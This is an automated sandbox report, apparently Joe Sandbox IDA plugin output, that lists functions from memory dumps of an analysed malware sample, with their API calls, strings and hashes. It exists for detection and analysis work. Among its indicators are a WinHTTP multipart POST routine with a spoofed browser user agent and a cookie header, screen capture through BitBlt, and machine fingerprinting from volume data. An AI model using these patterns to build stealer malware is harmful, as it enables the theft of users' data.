Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: Content-Disposition: form-data; name="$"$be85de5ipdocierre1
API String ID: 4218353326-2800077853
Opcode ID: 5df5aa52344e744d2e932a90705cb1b9183433a836bb6e9569b0c21f2a65f1c2
Instruction ID: 7e5f75b9edc9c423d7dba264a41e56f545f78cf6661592ed263e666b2365e092
Opcode Fuzzy Hash: 5df5aa52344e744d2e932a90705cb1b9183433a836bb6e9569b0c21f2a65f1c2
Instruction Fuzzy Hash: BD917CF5E00611CFCB00EF78D88945ABBF5FF8D300B1586A9E955AB314E734A805CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00406929 Relevance: 22.8, APIs: 8, Strings: 5, Instructions: 57libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,004161D8,0000000C,00406A64,00000000,00000000,?,?,004077C9,00405AF2,?,0040225A,?,?), ref: 0040693B
__crt_waiting_on_module_handle.LIBCMT ref: 00406946

Part of subcall function 00407B95: Sleep.KERNEL32(000003E8,00000000,?,0040688C,KERNEL32.DLL,?,004068D8,?,?,004077C9,00405AF2,?,0040225A,?,?), ref: 00407BA1
Part of subcall function 00407B95: GetModuleHandleW.KERNEL32(?,?,0040688C,KERNEL32.DLL,?,004068D8,?,?,004077C9,00405AF2,?,0040225A,?,?), ref: 00407BAA

GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 0040696F
GetProcAddress.KERNEL32(?,DecodePointer), ref: 0040697F
__lock.LIBCMT ref: 004069A1
InterlockedIncrement.KERNEL32(004963F0), ref: 004069AE
__lock.LIBCMT ref: 004069C2
___addlocaleref.LIBCMT ref: 004069E0

Strings

iI, xrefs: 004069D5
8JA, xrefs: 00406952
EncodePointer, xrefs: 00406963
KERNEL32.DLL, xrefs: 00406935, 0040693A, 00406945
DecodePointer, xrefs: 00406977

Memory Dump Source

Source File: 00000008.00000002.2040667690.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2040644374.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040704026.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040726233.0000000000411000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040750410.0000000000413000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040774433.0000000000417000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_5828.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
String ID: iI$8JA$DecodePointer$EncodePointer$KERNEL32.DLL
API String ID: 1028249917-3830470172
Opcode ID: 8747cc364c6f656dae9fbfa425774bbb0112b56ba3345b89fb8aaa96d777385f
Instruction ID: ca9c4cec8c5032e7393149155c9f3133e96743a72b35d7d5d1c88d0ee71374bc
Opcode Fuzzy Hash: 8747cc364c6f656dae9fbfa425774bbb0112b56ba3345b89fb8aaa96d777385f
Instruction Fuzzy Hash: E41163B1941701EFD720AF7AD901B9ABBF0AF44314F11853FE499A62D1CB78AA41CB1D

Uniqueness

Uniqueness Score: -1.00%

Function 007907DB Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0079081F

Part of subcall function 007900D5: _free.LIBCMT ref: 007900F2
Part of subcall function 007900D5: _free.LIBCMT ref: 00790104
Part of subcall function 007900D5: _free.LIBCMT ref: 00790116
Part of subcall function 007900D5: _free.LIBCMT ref: 00790128
Part of subcall function 007900D5: _free.LIBCMT ref: 0079013A
Part of subcall function 007900D5: _free.LIBCMT ref: 0079014C
Part of subcall function 007900D5: _free.LIBCMT ref: 0079015E
Part of subcall function 007900D5: _free.LIBCMT ref: 00790170
Part of subcall function 007900D5: _free.LIBCMT ref: 00790182
Part of subcall function 007900D5: _free.LIBCMT ref: 00790194
Part of subcall function 007900D5: _free.LIBCMT ref: 007901A6
Part of subcall function 007900D5: _free.LIBCMT ref: 007901B8
Part of subcall function 007900D5: _free.LIBCMT ref: 007901CA

_free.LIBCMT ref: 00790814

Part of subcall function 0078D342: RtlFreeHeap.NTDLL(00000000,00000000,?,0078773D,?), ref: 0078D358
Part of subcall function 0078D342: GetLastError.KERNEL32(?,?,0078773D,?), ref: 0078D36A

_free.LIBCMT ref: 00790836
_free.LIBCMT ref: 0079084B
_free.LIBCMT ref: 00790856
_free.LIBCMT ref: 00790878
_free.LIBCMT ref: 0079088B
_free.LIBCMT ref: 00790899
_free.LIBCMT ref: 007908A4
_free.LIBCMT ref: 007908DC
_free.LIBCMT ref: 007908E3
_free.LIBCMT ref: 00790900
_free.LIBCMT ref: 00790918

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 6954f6519aa9bc1b47eb23662d6922caca967fbc507fa833acf52782f0138358
Instruction ID: 2b76f04d1c1cea4fdf6d3501ddf4f3c5b3aee3d163f5b06569aa4de4cac00b11
Opcode Fuzzy Hash: 6954f6519aa9bc1b47eb23662d6922caca967fbc507fa833acf52782f0138358
Instruction Fuzzy Hash: 40314A32A54305DFEF30AA78EC49B5A73E9EF50350F108429E499E6591DB3CEC908BA1

Uniqueness

Uniqueness Score: -1.00%

Function 00760EA0 Relevance: 17.8, APIs: 3, Strings: 7, Instructions: 308COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00761073
wsprintfW.USER32 ref: 00761102
WinHttpAddRequestHeaders.WINHTTP ref: 0076112C

Strings

P, xrefs: 00760F77
winhttp.dll, xrefs: 00760EFA, 00760F48, 00760F8E, 00760FF4, 0076107C, 00761142, 007611AC, 007611FB, 0076124E, 0076127E, 007612B7
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36, xrefs: 00760F16
Cookie: __cf_mw_byp=%hs, xrefs: 007610EE
Content-Type: multipart/form-data; boundary=%s, xrefs: 00761059
be85de5ipdocierre1, xrefs: 0076105F
POST, xrefs: 00760FB1

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: wsprintf$HeadersHttpRequest
String ID: Content-Type: multipart/form-data; boundary=%s$Cookie: __cf_mw_byp=%hs$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36$P$POST$be85de5ipdocierre1$winhttp.dll
API String ID: 4062374510-2783096789
Opcode ID: ee5b5d33964f1cad8fa42db3322297de5e079c982e8e8f1132509a2b5d947ab5
Instruction ID: 88d4bbe7ac78339a69ccb6f4dfe623f8a0aeedb3d9d868161299c469c7327949
Opcode Fuzzy Hash: ee5b5d33964f1cad8fa42db3322297de5e079c982e8e8f1132509a2b5d947ab5
Instruction Fuzzy Hash: 07D106B0904305DFCB00EFA8D98965EBBF1FF89304F11892DE89997340E7799949CB96

Uniqueness

Uniqueness Score: -1.00%

Function 007329F0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 67stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,?), ref: 00732A13
lstrcatW.KERNEL32(00000000,00000000), ref: 00732A26

Part of subcall function 00787725: _free.LIBCMT ref: 00787738

lstrcatW.KERNEL32(00000000,?), ref: 00732A36
lstrcatW.KERNEL32(00000000,?), ref: 00732A4C
lstrcatW.KERNEL32(00000000,0079A0F2), ref: 00732A54
lstrcatW.KERNEL32(00000000,?), ref: 00732A5A
lstrcatW.KERNEL32(00000000,00000000), ref: 00732A6D
lstrcatW.KERNEL32(00000000,?), ref: 00732A7D

Strings

aab58e5185f0f625cfdbfd38c5dbfd7e, xrefs: 00732A5C
45538e52191fe131243fae173d27eb3c363ae13c6500eb26313ae035360f, xrefs: 00732A15

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: lstrcat$_free
String ID: 45538e52191fe131243fae173d27eb3c363ae13c6500eb26313ae035360f$aab58e5185f0f625cfdbfd38c5dbfd7e
API String ID: 1597172325-820533355
Opcode ID: ae5d22c895c813d97ae4c4f82368973b70d0097a29acb12652858ef724a9083a
Instruction ID: 862a93dabd68c3a2bd4eb136c4dcb504d9b1cc7a2fa4c26666298f4b613a6474
Opcode Fuzzy Hash: ae5d22c895c813d97ae4c4f82368973b70d0097a29acb12652858ef724a9083a
Instruction Fuzzy Hash: D70184A29802087BE90176A1AC87E2F396CDF86B98F054024F60555182F95FC91593B7

Uniqueness

Uniqueness Score: -1.00%

Function 00791778 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 213COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00791890

Strings

X{d, xrefs: 007917D8, 0079183E, 00791852, 0079185F, 00791926

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: _free
String ID: X{d
API String ID: 269201875-469410662
Opcode ID: 99dd228e397ffcbb838af1b9418a1472f24d4b29697cd4c12c6f228c9cd3aa26
Instruction ID: 6d8147ccfcda8bf5cedcac77e414f184527d0ce7a4fb1e3259b4c0bbfc213899
Opcode Fuzzy Hash: 99dd228e397ffcbb838af1b9418a1472f24d4b29697cd4c12c6f228c9cd3aa26
Instruction Fuzzy Hash: 22612871D80242EBDF24AFB8A859A7E77E4AF01330F90466DE945D7281EB3CAD108751

Uniqueness

Uniqueness Score: -1.00%

Function 0078C710 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0078C726

Part of subcall function 0078D342: RtlFreeHeap.NTDLL(00000000,00000000,?,0078773D,?), ref: 0078D358
Part of subcall function 0078D342: GetLastError.KERNEL32(?,?,0078773D,?), ref: 0078D36A

_free.LIBCMT ref: 0078C732
_free.LIBCMT ref: 0078C73D
_free.LIBCMT ref: 0078C748
_free.LIBCMT ref: 0078C753
_free.LIBCMT ref: 0078C75E
_free.LIBCMT ref: 0078C769
_free.LIBCMT ref: 0078C774
_free.LIBCMT ref: 0078C77F
_free.LIBCMT ref: 0078C78D

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 330f2faefd3d573851bebc7a0069643a2cbc55bd0063e44813b4828c299364b7
Instruction ID: d8a1086c40b45319a6557a9b8d1a194afbb7c2b2563a0a2ea882022cdd26a0e0
Opcode Fuzzy Hash: 330f2faefd3d573851bebc7a0069643a2cbc55bd0063e44813b4828c299364b7
Instruction Fuzzy Hash: 2E21947A980108EFCB51EFA4C889DDE7BB9FF58340B0041A6B515AB561DB39EA44CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0073B920 Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 385COMMON

Download Yara Rule

Strings

kernel32.dll, xrefs: 0073B9C6

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$_free
String ID: kernel32.dll
API String ID: 2325961074-1793498882
Opcode ID: cffc438905563f3a90a6afe0c9eb09023a82a6801358ff89b45f5c610faf5c3a
Instruction ID: 7c95b519c600cc1ba11e0d53f67801cf868aea0c315d274b2ad13d4b109e6da9
Opcode Fuzzy Hash: cffc438905563f3a90a6afe0c9eb09023a82a6801358ff89b45f5c610faf5c3a
Instruction Fuzzy Hash: C5F104B4D04205DFDB04EFA8D485A5EBBF0FF49310F248469E989AB355E739A844CF92

Uniqueness

Uniqueness Score: -1.00%

Function 00797045 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00797164
CatchIt.LIBVCRUNTIME ref: 007972C3
_UnwindNestedFrames.LIBCMT ref: 007973C4
CallUnexpected.LIBVCRUNTIME ref: 007973DF

Strings

csm, xrefs: 007970EF
csm, xrefs: 00797082
csm, xrefs: 0079719B

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: CallCatchFramesNestedUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2332921423-393685449
Opcode ID: 296d76312121369dc8739632e2293af6cb778fae35843a67ef7d77c539d8fc64
Instruction ID: 79775357aba73c26e928ace2608fe8de061aac30d93355ed289cf6fcca412a7a
Opcode Fuzzy Hash: 296d76312121369dc8739632e2293af6cb778fae35843a67ef7d77c539d8fc64
Instruction Fuzzy Hash: 5DB18B71C24209EFCF29DFA4E8899AEB7B5FF44310F14415AF8146B212D338EA51DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00775EF0 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 102COMMON

Download Yara Rule

APIs

GetWindowsDirectoryW.KERNEL32 ref: 00775F3A
GetVolumeInformationW.KERNEL32 ref: 00775FC5
wsprintfW.USER32 ref: 00776086

Strings

\, xrefs: 00775F6E
l2%08x%08x%04x%xu, xrefs: 00776069
C, xrefs: 00775F55
:, xrefs: 00775F67

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: DirectoryInformationVolumeWindowswsprintf
String ID: :$C$\$l2%08x%08x%04x%xu
API String ID: 3001812590-1811320126
Opcode ID: 7b2d3e6884b1884634119f2f1311c244877cf76825ec1669a95152e597dcded5
Instruction ID: 59e8dc46aae168dfe45b1bae07697d67b08421d72dd55a513f30966df07f15fc
Opcode Fuzzy Hash: 7b2d3e6884b1884634119f2f1311c244877cf76825ec1669a95152e597dcded5
Instruction Fuzzy Hash: 7541A0705097418BD704DF24C08876EBBE0FF88758F518A2EF4D997290E7798648CB87

Uniqueness

Uniqueness Score: -1.00%

Function 00732AA0 Relevance: 12.1, APIs: 8, Instructions: 100stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32 ref: 00732ADA
lstrcatW.KERNEL32 ref: 00732AF4
lstrcatW.KERNEL32 ref: 00732B0C
lstrcatW.KERNEL32 ref: 00732B5E
lstrcatW.KERNEL32 ref: 00732B78
lstrcatW.KERNEL32 ref: 00732B93
lstrcatW.KERNEL32 ref: 00732BAD
lstrcatW.KERNEL32 ref: 00732BC5

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: lstrcat
String ID:
API String ID: 4038537762-0
Opcode ID: 6bb92d606716b50222629bfc0d7e71e29b8b1ce77c18f78ffed06947a25333b1
Instruction ID: 7fd91958d1a0e21ff9b3cd2673055f0106bb35aa6a2942a2b84c9e617deca256
Opcode Fuzzy Hash: 6bb92d606716b50222629bfc0d7e71e29b8b1ce77c18f78ffed06947a25333b1
Instruction Fuzzy Hash: 2E415AB49093429FC704EF68E58991EBBF0BB89704F018D1DF88997352E738D849CB66

Uniqueness

Uniqueness Score: -1.00%

Function 0078C14C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

ext-ms-, xrefs: 0078C1B7
api-ms-, xrefs: 0078C1A3

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: 263f14c826011c12448e4b7c82f02e971f1775cbf636375ba8bd918347b99e53
Instruction ID: 3b107be86ac2d2b37d8215800020fba9a692a789ea1557b85875d2679a3c2305
Opcode Fuzzy Hash: 263f14c826011c12448e4b7c82f02e971f1775cbf636375ba8bd918347b99e53
Instruction Fuzzy Hash: 1B21DBB1EC1219ABDB33AA689CCDA1A3768BF46760B154111EE15B72D2D63CDD00C7F4

Uniqueness

Uniqueness Score: -1.00%

Function 0079023C Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00790320: _free.LIBCMT ref: 00790345

_free.LIBCMT ref: 0079028A

Part of subcall function 0078D342: RtlFreeHeap.NTDLL(00000000,00000000,?,0078773D,?), ref: 0078D358
Part of subcall function 0078D342: GetLastError.KERNEL32(?,?,0078773D,?), ref: 0078D36A

_free.LIBCMT ref: 00790295
_free.LIBCMT ref: 007902A0
_free.LIBCMT ref: 007902F4
_free.LIBCMT ref: 007902FF
_free.LIBCMT ref: 0079030A
_free.LIBCMT ref: 00790315

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d164b0b78da03c00ad40bd89565399c3cde5271e9215c4906fabfbff84f000e5
Instruction ID: 73e0b6dc94ca09d2bfd1e9de86e8061791e65574137e76581653932c3c9316b4
Opcode Fuzzy Hash: d164b0b78da03c00ad40bd89565399c3cde5271e9215c4906fabfbff84f000e5
Instruction Fuzzy Hash: 1E11FC715A0B04FBD930BBB4DC4EFCBB79D9F44700F804819B69976493DA6DB9084791

Uniqueness

Uniqueness Score: -1.00%

Function 007799D0 Relevance: 10.5, APIs: 7, Instructions: 40windowCOMMON

Download Yara Rule

APIs

CreateCompatibleDC.GDI32(?), ref: 007799D9
CreateCompatibleBitmap.GDI32(?,?,?), ref: 007799EA
SelectObject.GDI32(00000000,00000000), ref: 007799F4
BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 00779A13
SelectObject.GDI32(00000000,00000000), ref: 00779A1B
DeleteDC.GDI32(00000000), ref: 00779A22
DeleteObject.GDI32(00000000), ref: 00779A29

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: Object$CompatibleCreateDeleteSelect$Bitmap
String ID:
API String ID: 1142853709-0
Opcode ID: 34ce337d3f4c8a4416ce40c13616fe96f81751c11076e1327fa5391fb6fe7b1a
Instruction ID: 7632382a41248b0d58f01dff16261c63759043134d6c83761c188df22b197bb7
Opcode Fuzzy Hash: 34ce337d3f4c8a4416ce40c13616fe96f81751c11076e1327fa5391fb6fe7b1a
Instruction Fuzzy Hash: 21F01732244314BFEA112BA8AC08F6B7BACFBCB655F158018FB1591162C66D59078B6A

Uniqueness

Uniqueness Score: -1.00%

Function 0078F90F Relevance: 9.3, APIs: 6, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(?,00000016,?), ref: 0078F957
__fassign.LIBCMT ref: 0078FB3C
__fassign.LIBCMT ref: 0078FB59
WriteFile.KERNEL32(?,813783A3,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0078FBA1
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 0078FBE1
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 0078FC89

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: 2a85302adc91b9d05ba551c73cde05cece4e613278584c0b1de9bdd9f9d0c66c
Instruction ID: e8f6a7d102318cfbead094937077947c8ece9e55ea76c01cecd4d2ee50348146
Opcode Fuzzy Hash: 2a85302adc91b9d05ba551c73cde05cece4e613278584c0b1de9bdd9f9d0c66c
Instruction Fuzzy Hash: DDC19E71D0025C9FCB15DFA8C8849EDFBB5AF49314F28816AE855FB241E6399E42CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00786869 Relevance: 9.3, APIs: 6, Instructions: 279COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 007869FC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00786A18
__allrem.LIBCMT ref: 00786A2F
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00786A4D
__allrem.LIBCMT ref: 00786A64
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00786A82

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: ca294b578a471fee6390baf9408a0ea656bc2c97dc1644859e2b9856a0b9c082
Instruction ID: 8d24565e143d3f81fc79cf53b7727cfbeeb9e989e9189eee93703e907b0b739b
Opcode Fuzzy Hash: ca294b578a471fee6390baf9408a0ea656bc2c97dc1644859e2b9856a0b9c082
Instruction Fuzzy Hash: 9B812875680706FBDB24BE69DC42B6A73E9AF40360F24853EF515E72C1EB78E9008751

Uniqueness

Uniqueness Score: -1.00%

Function 0078B9EB Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0078B9E2,00780391,0077FEF1), ref: 0078B9F9
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0078BA07
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0078BA20
SetLastError.KERNEL32(00000000,0078B9E2,00780391,0077FEF1), ref: 0078BA72

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
